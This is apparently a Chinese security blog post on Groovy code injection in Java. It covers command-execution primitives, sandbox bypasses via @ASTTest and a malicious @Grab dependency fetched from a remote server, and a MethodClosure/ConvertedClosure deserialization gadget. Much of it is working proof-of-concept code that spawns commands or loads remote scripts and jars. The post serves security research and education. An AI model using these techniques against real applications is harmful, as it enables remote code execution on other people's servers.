Java安全-Groovy
j1ang WEB安全 6178浏览 · 2021-12-28 11:50

Java安全-Groovy

简述

Groovy是Apache 旗下的一种基于JVM的面向对象编程语言,既可以用于面向对象编程,也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby 和 Smalltalk 语言的优秀特性,比如动态类型转换、闭包和元编程支持。 Groovy与 Java可以很好的互相调用并结合编程 ,比如在写 Groovy 的时候忘记了语法可以直接按Java的语法继续写,也可以在 Java 中调用 Groovy 脚本。比起Java,Groovy语法更加的灵活和简洁,可以用更少的代码来实现Java实现的同样功能。

特点

  • 同时支持静态和动态类型;
  • 支持运算符重载;

  • 本地语法列表和关联数组;

  • 对正则表达式的本地支持;

  • 各种标记语言,如XML和HTML原生支持;

  • Groovy对于Java开发人员来说很简单,因为Java和Groovy的语法非常相似;

  • 可以使用现有的Java库;

  • Groovy扩展了java.lang.Object;

Groovy 代码注入

maven 导入Groovy 后,

<dependency>
            <groupId>org.codehaus.groovy</groupId>
            <artifactId>groovy-all</artifactId>
            <version>2.4.15</version>
        </dependency>

可以直接在idea里运行groovy脚本和类。

groovy 可以直接执行Java 代码,也可以按照自己的语法来执行。

比如

Runtime.getRuntime().exec("calc")和"whoami".execute() 本质相同
println "whoami".execute().text 还支持回显

groovy 支持单引号闭合字符串。

还可以像php一样"${"whoami".execute().text}"

MethodClosure

从名字就可以知道,这是一个方法闭包,使用方法闭包来代替对象的某个方法,方便调用。

构造函数第一个参数是对象,第二个参数是对象的方法。

并调用call方法对闭包进行调用。

package com.groovy;

import org.codehaus.groovy.runtime.MethodClosure;


public class Groovy1 {
    public static void main(String[] args) throws Exception{

//        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
//        mc.call("calc");

        MethodClosure mc = new MethodClosure("calc","execute");
        mc.call();
    }
}

GroovyShell

GroovyShell 这个类 主要有三个方法 evaluate run parse

evaluate 有多种重载,支持从 String,File,URI,Reader,GroovyCodeSource 类型 以及多种的组合执行groovy代码。基本逻辑就是获取通过groovy代码来写入或者加载远程或者本地的groovy脚本来执行命令。

parse就是返回一个groovy脚本(groovy.lang.Script )然后调用其run 方法执行。

run方法就是获取groovy脚本来直接运行,跨过evaluateparse方法

下面就是简单的demo。 url下的exp.groovy 内容就是cmd变量的值。

package com.groovy;


import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;

import java.io.File;
import java.net.URI;

public class Groovy1 {
    public static void main(String[] args) throws Exception{
        GroovyShell groovyShell = new GroovyShell();
        String cmd = "\"whoami\".execute().text";
//        System.out.println(groovyShell.evaluate(cmd));
//        File file = new File("src/main/java/com/groovy/TestGroovyScipt.groovy");
//        System.out.println(groovyShell.evaluate(file));
        URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
//        System.out.println(groovyShell.evaluate(uri));
        GroovyCodeSource groovyCodeSource = new GroovyCodeSource(cmd,"","");
        GroovyCodeSource groovyCodeSource1 = new GroovyCodeSource(uri);
        System.out.println(groovyShell.evaluate(groovyCodeSource1));
    }
}

GroovyScriptEngine

允许从指定root(可以是某文件夹,某URL,某Resource)下获取脚本来执行,还可以指定类加载器去加载。

package com.groovy;


import groovy.util.GroovyScriptEngine;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;

import java.net.URL;
import java.net.URLClassLoader;


public class Groovy1 {
    public static void main(String[] args) throws Exception{
//        GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
//        scriptEngine.run("TestGroovyScipt.groovy","");
        GroovyScriptEngine scriptEngine1 = new GroovyScriptEngine("http://127.0.0.1:8888/");
        scriptEngine1.run("exp.groovy","");

    }
}

GroovyScriptEvaluator

这个类的 evaluate方法同样可以执行groovy代码,本质还是GroovyShell

不过evaluate参数需要是org.springframework.scripting.ScriptSource 接口的对象。

这个接口有两个实现类,StaticScriptSourceResourceScriptSource

前者提供脚本字符串,后者需要提供一个可以触发 org.springframework.core.io.Resource#getFilename Resource接口对象

package com.groovy;


import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import groovy.util.GroovyScriptEngine;
import org.springframework.core.io.FileSystemResource;
import org.springframework.scripting.ScriptSource;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import org.springframework.scripting.support.ResourceScriptSource;
import org.springframework.scripting.support.StaticScriptSource;



public class Groovy1 {
    public static void main(String[] args) throws Exception{
        GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
//        ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
//        System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
//        FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/TestGroovyScipt.groovy");
//        ScriptSource source = new ResourceScriptSource(fileSystemResource);
//        System.out.println(groovyScriptEvaluator.evaluate(source));
        Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
        ScriptSource source = new ResourceScriptSource(urlResource);
        System.out.println(groovyScriptEvaluator.evaluate(source));
    }
}

GroovyClassLoader

GroovyClassLoader 用于在Java中加载groovy 类并调用,有重写的loadClassdefineClass 用法大抵相同,parseClass 可以直接从文件或者字符串中获取groovy类。

package com.groovy;


import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;

public class Groovy1 {
    public static void main(String[] args) throws Exception{
//        GroovyClassLoader classLoader = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
//        Class clazz = classLoader.loadClass("exp");
        GroovyClassLoader classLoader = new GroovyClassLoader();
//        Class clazz = classLoader.parseClass(new File("src/main/java/com/groovy/Test.groovy"));
        Class clazz = classLoader.parseClass("class Test {\n" +
                "    static void main(String[] args) {\n" +
                "        GroovyShell groovyShell = new GroovyShell()\n" +
                "        String cmd = \"\\\"whoami\\\".execute().text\"\n" +
                "        println(groovyShell.evaluate(cmd).toString())\n" +
                "    }\n" +
                "}\n");
        GroovyObject object = (GroovyObject) clazz.newInstance();
        object.invokeMethod("main","");


    }
}

ScriptEngine

javax.script.ScriptEngine 想必都熟悉,我们可以使用他来执行js脚本,当然也可以执行groovy 脚本。

package com.groovy;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class Groovy1 {
    public static void main(String[] args) throws Exception{
        ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
        System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
    }
}

Bypass 沙箱

@AST注解执行断言

package com.groovy

this.class.classLoader.parseClass('''
    @groovy.transform.ASTTest(value={
        assert Runtime.getRuntime().exec("calc")
    })
    def x
''')

@Grab注解添加恶意依赖

需要导入ivy依赖

<dependency>
    <groupId>org.apache.ivy</groupId>
    <artifactId>ivy</artifactId>
    <version>2.4.0</version>
</dependency>

Grape is a JAR dependency manager embedded into Groovy. Grape lets you quickly add maven repository dependencies to your classpath, making scripting even easier.

package com.groovy
this.class.classLoader.parseClass('''
    @GrabConfig(disableChecksums=true)
    @GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
    @Grab(group = "PoC",module = "EvilJar",version = "0.1")
    import PoC
''');

索引会像加载maven依赖一样,如果本地仓库没有,就从服务器的 PoC/EvilJar/0.1/目录,下载EvilJar-0.1.jar 文件,默认存储在 ~/.groovy/grapes 目录下

导入的jar包会先经过两种处理

groovy-all-2.4.15-sources.jar!/groovy/grape/GrapeIvy.groovy

其中利用了SPI机制。

processCategroyMethods 用来注册扩展方法。

processOtherServices 用来发现并处理其他服务,比如META-INF/services/org.codehaus.groovy.plugins.Runners

根据代码可以大概总结为,从上述接口文件中,遍历所有不是#开头的行,获取每行的类名然后加载并实例化。

利用

package com.groovy
this.class.classLoader.parseClass('''
    @GrabConfig(disableChecksums=true)
    @GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
    @Grab(group = "PoC",module = "EvilJar",version = "0.1")
    import java.lang.String
''');

这里的注解需要加载import上,所以随便import一个类就行。

Groovy反序列化

在Groovy中,闭包是允许被序列化的。

MethodClosurecall方法可以用来执行命令,

需要找到一个可以触发call方法,在org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom

里可以找到触发,

可以看到ConvertedClosure的继承关系如下,

说白了,他就是动态代理里的handler类,他的文档解释说这个类是一个通用适配器,用于将Java接口调用映射到给定的委托。

这里的委托就是构造时传入的闭包。

看一下他的invoke方法的定义

对声明类不是 Object 的方法的任何调用(不包括 toString() 和默认方法)都将重定向到 invokeCustom。

checkMethod就是检查是不是Object类的方法,比如,hashCodeequalstoString 等。

只有方法名和代理对象调用的方法名相同时才能调用call方法。

package com.groovy;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Proxy;
import java.util.Map;


public class Groovy1 {
    public static void main(String[] args) throws Exception{

        MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
        ConvertedClosure convertedClosure = new ConvertedClosure(mc,"get");
        Map map = (Map) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
        map.get("calc");
    }
}

为什么用get,因为代理执行结果与对应方法的类型不匹配,会报错,不过并不影响命令执行。可以像cc一样去找调用了get方法的地方,但是还得保证get的参数是可控的,有点鸡肋。不过还有各种类的各种方法可以代理。看一下yso的调用链。

优先队列反序列化时会对元素进行比较(ref:p牛星球),所以只需要创建一个Comparable的代理对象就可以了。

package com.groovy;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Proxy;

public class Groovy1 {
    public static void main(String[] args) throws Exception{

        MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
        ConvertedClosure convertedClosure = new ConvertedClosure(mc,"compareTo");
        Comparable comparator = (Comparable) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Comparable.class},convertedClosure);
        comparator.compareTo("calc");
    }
}

还可以代理无参数的方法触发命令执行。

package com.groovy;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.Proxy;
import java.util.Map;

public class Groovy1 {
    public static void main(String[] args) throws Exception{

        MethodClosure mc = new MethodClosure("calc","execute");
        ConvertedClosure convertedClosure = new ConvertedClosure(mc,"entrySet");
        Map map = (Map) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
        map.entrySet();
    }
}

entrySet 方法可以参考sun.reflect.annotation.AnnotationInvocationHandler#readObject

参考

https://www.mi1k7ea.com/2020/08/26/%E4%BB%8EJenkins-RCE%E7%9C%8BGroovy%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5/#Groovy%E7%AE%80%E4%BB%8B

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Groovy1.java

1 条评论
某人
表情
可输入 255